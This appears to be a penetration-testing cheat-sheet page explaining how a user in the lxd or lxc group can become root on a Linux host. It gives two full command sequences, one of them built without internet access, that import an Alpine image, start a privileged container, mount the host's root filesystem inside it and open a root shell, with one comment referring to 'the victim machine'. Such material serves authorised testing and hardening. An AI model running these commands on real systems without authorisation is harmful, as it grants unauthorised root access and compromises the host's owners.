lxd/lxc Group - Privilege escalation

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If you belong to lxd or lxc group, you can become root

Exploiting without internet

Method 1

You can download an alpine image to use with lxd from a trusted repository. Canonical publishes daily builds in their site: https://images.lxd.canonical.com/images/alpine/3.18/amd64/default/ Just grab both lxd.tar.xz and rootfs.squashfs from the newest build. (Directory name is the date).

Alternativelly you can install in your machine this distro builder: https://github.com/lxc/distrobuilder (follow the instructions of the github):

# Install requirements
sudo apt update
sudo apt install -y golang-go gcc debootstrap rsync gpg squashfs-tools git make build-essential libwin-hivex-perl wimtools genisoimage    

# Clone repo
mkdir -p $HOME/go/src/github.com/lxc/
cd $HOME/go/src/github.com/lxc/
git clone https://github.com/lxc/distrobuilder

# Make distrobuilder
cd ./distrobuilder
make

# Prepare the creation of alpine
mkdir -p $HOME/ContainerImages/alpine/
cd $HOME/ContainerImages/alpine/
wget https://raw.githubusercontent.com/lxc/lxc-ci/master/images/alpine.yaml

# Create the container - Beware of architecture while compiling locally.
sudo $HOME/go/bin/distrobuilder build-incus alpine.yaml -o image.release=3.18 -o image.architecture=x86_64

Upload the files incus.tar.xz (lxd.tar.xz if you downloaded from Canonical repository) and rootfs.squashfs, add the image to the repo and create a container:

lxc image import lxd.tar.xz rootfs.squashfs --alias alpine

# Check the image is there
lxc image list

# Create the container
lxc init alpine privesc -c security.privileged=true

# List containers
lxc list

lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=true

Finally you can execute the container and get root:

lxc start privesc
lxc exec privesc /bin/sh
[email protected]:~# cd /mnt/root #Here is where the filesystem is mounted

Method 2

Build an Alpine image and start it using the flag security.privileged=true, forcing the container to interact as root with the host filesystem.

# build a simple alpine image
git clone https://github.com/saghul/lxd-alpine-builder
cd lxd-alpine-builder
sed -i 's,yaml_path="latest-stable/releases/$apk_arch/latest-releases.yaml",yaml_path="v3.8/releases/$apk_arch/latest-releases.yaml",' build-alpine
sudo ./build-alpine -a i686

# import the image
lxc image import ./alpine*.tar.gz --alias myimage # It's important doing this from YOUR HOME directory on the victim machine, or it might fail.

# before running the image, start and configure the lxd storage pool as default
lxd init

# run the image
lxc init myimage mycontainer -c security.privileged=true

# mount the /root into the image
lxc config device add mycontainer mydevice disk source=/ path=/mnt/root recursive=true